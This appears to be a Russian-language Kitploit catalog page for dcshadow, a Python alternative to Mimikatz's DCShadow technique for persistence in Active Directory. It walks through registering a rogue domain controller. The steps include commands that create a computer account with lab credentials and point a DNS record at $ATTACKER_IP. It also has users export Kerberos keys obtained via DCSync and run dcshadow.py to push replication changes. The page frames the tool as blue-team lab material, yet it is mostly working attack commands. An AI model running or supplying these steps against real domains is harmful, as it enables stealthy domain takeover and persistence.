Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
dcshadow — Python-альтернатива Mimikatz lsadump::dcshadow | Kitploit
Инструменты/GitHubGitHub/shutdownrepo/dcshadow
Оборонительные ИнструментыМеханизмы персистентностиПост-эксплуатацияТестирование на ПроникновениеRed Teaming
GitHubshutdownrepo/dcshadow

dcshadow

Python-альтернатива Mimikatz lsadump::dcshadow

Репозиторий
1621751 год назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

[!WARNING] НЕ ЗАПУСКАЙТЕ В ПРОДАКШЕНЕ. Этот инструмент предназначен для лабораторного тестирования, чтобы синие команды могли отрабатывать выявление IoC, типов событий и поведения. Кроме того, инструмент предоставляется как есть. Поддержка не планируется, кроме стандартного ревью пулл-реквестов, которые вы можете создавать. Не запускайте это с Windows-хоста. Делайте это с Linux или из ВМ (чтобы избежать конфликтов служб RPC).

Теория

Этот проект задуман как чисто питоновская альтернатива технике dcshadow из Mimikatz. Он включает собственную сборку Impacket с изменёнными crypto, gssapi и drsuapi, среди прочего.

DCShadow — мощная техника персистентности, которую можно рассматривать как транспорт для других техник, таких как SID history, KRBTGT RBCD, ACE abuse, и других.

Этот инструмент может стать основой для более универсального фреймворка персистентности в AD, который наше сообщество могло бы использовать для повышения общей зрелости в этом вопросе.

Инструмент был протестирован на GOAD.

Практика

0. Установка

root@kitploit:~
python3 -m venv venv
source ./venv/bin/activate
pip3 install -r ./requirements.txt
pip3 install ./impacket

1. Создание учётной записи компьютера

Эта машина будет зарегистрирована как контроллер домена на время репликации и в конце будет снята с регистрации.

root@kitploit:~
venv/bin/addcomputer.py -computer-name 'fake701$' -computer-pass '123soleil!' -method LDAPS -dc-host "kingslanding.sevenkingdoms.local" -dc-ip "192.168.10.10" -domain-netbios "sevenkingdoms" "sevenkingdoms.local"/"tyron.lannister":"Alc00L&S3x" -debug

[!WARNING] adcomputer.py изменён для установки msDS-SupportedEncryptionTypes в 0x1f. Последние тесты, похоже, вызывают нарушение ограничения.

root@kitploit:~
[+] Impacket Library Installation Path: /workspace/adpersist/venv/lib/python3.11/site-packages/impacket
Traceback (most recent call last):
 File "/workspace/adpersist/venv/bin/addcomputer.py", line 248, in run_ldaps
   raise Exception(str(ldapConn.result))
Exception: {'result': 19, 'description': 'constraintViolation', 'dn': '', 'message': '0000207C: AtrErr: DSID-03153410, #1:\n\t0: 0000207C: DSID-03153410, problem 1005 (CONSTRAINT_ATT_TYPE), data 0, Att 907ab (msDS-SupportedEncryptionTypes)\n\x00', 'referrals': None, 'type': 'addResponse'}
[-] {'result': 19, 'description': 'constraintViolation', 'dn': '', 'message': '0000207C: AtrErr: DSID-03153410, #1:\n\t0: 0000207C: DSID-03153410, problem 1005 (CONSTRAINT_ATT_TYPE), data 0, Att 907ab (msDS-SupportedEncryptionTypes)\n\x00', 'referrals': None, 'type': 'addResponse'}

Пока что используйте обычный скрипт addcomputer.py из Impacket и изменяйте msDS-SupportedEncryptionTypes вручную через редактирование ADSI.

2. DNS-запись для машины

Это необходимо, чтобы легитимный контроллер домена знал, как связаться с нелегитимным (rogue) контроллером домена, и избежать ошибок ERROR_DS_DNS_LOOKUP_FAILURE.

root@kitploit:~
dnstool.py -u "sevenkingdoms.local"/"tyron.lannister" -p "Alc00L&S3x" --record 'fake701' --action add --data "$ATTACKER_IP" "kingslanding.sevenkingdoms.local"

[!TIP] Если команда по какой-то причине не работает, добавьте DNS-запись вручную через оснастку DNS на контроллере домена.

3. Учётные данные rogue DC

Когда мы начинали разработку этого инструмента, мы использовали жёстко заданные учётные данные в файле .env, загружаемые в функции gss_kerberos_ap_req в файле dcshadow/utils/server/RpcServer.py.

Это явно требует доработки. Пароль учётной записи rogue DC можно было бы передавать аргументом командной строки и вычислять ключи Kerberos. Krbrelayx это уже делает, dacledit.py тоже — нужно просто скопировать.

Пока что нужно экспортировать ключи Kerberos как переменные окружения.

Выглядеть это должно так:

root@kitploit:~
export RC4=652c1be004ef335aa218cfed8e9297fc
export AES128=710b676a1fec1c68edc44b759aace44a
export AES256=bc7564c2e7a2bc740c277ec39f8c5d81e03df8001b7d670f5b46c177242a8bbc

Эти ключи можно получить с помощью атаки DCSync.

4. DCShadow (JSON-файл)

root@kitploit:~
python3 dcshadow.py --json repl.json --domain "sevenkingdoms.local" --user "cersei.lannister" --password "il0vejaime" --dc-ip "192.168.10.10" --legit-dc-fqdn "kingslanding.sevenkingdoms.local" --rogue-dc-name "fake701"

[!TIP] В данном случае для указания целевых объектов и атрибутов используется файл repl.json. В качестве альтернативы инструмент поддерживает встроенные опции (например, --object, --attribute и --value).

Частые ошибки

DRSReplicaAdd: истёк тайм-аут

Если время ожидания DRSReplicaAdd истекло, скорее всего, проблема с сетью/межсетевым экраном на машине, где запущен dcshadow.py (rogue DC), — вероятно, она не разрешает входящий трафик на порты 135/TCP (epmapper) и 1337/TCP (или динамический порт, если он будет реализован в будущем, для drsuapi).

DRSReplicaAdd: rpc_s_access_denied

Вам нужно будет запустить Wireshark на легитимном контроллере домена, но наиболее вероятная причина в том, что вы пытаетесь запустить это на Windows-машине. Тогда, когда легитимный DC запрашивает у epmapper вашего rogue DC порт конечной точки drsuapi, ответ оказывается пустым, поскольку отвечает epmapper вашей собственной Windows-машины, а не наш специальный.

Благодарности

Этот проект был бы невозможен без огромной помощи Alessandro Iandoli "MrAle98", талантливого исследователя, с которым я познакомился во время разработки. Спасибо, Alessandro!

Особая благодарность Benjamin Delpy и Vincent Letoux за первоначальное открытие, доклады и реализацию в Mimikatz.

Также хочу поблагодарить Volker за участие в ранней разработке.

Спасибо Dramelac за помощь в превращении PoC в модульный проект, основу будущего фреймворка, если до этого когда-нибудь дойдёт.

Скачать инструмент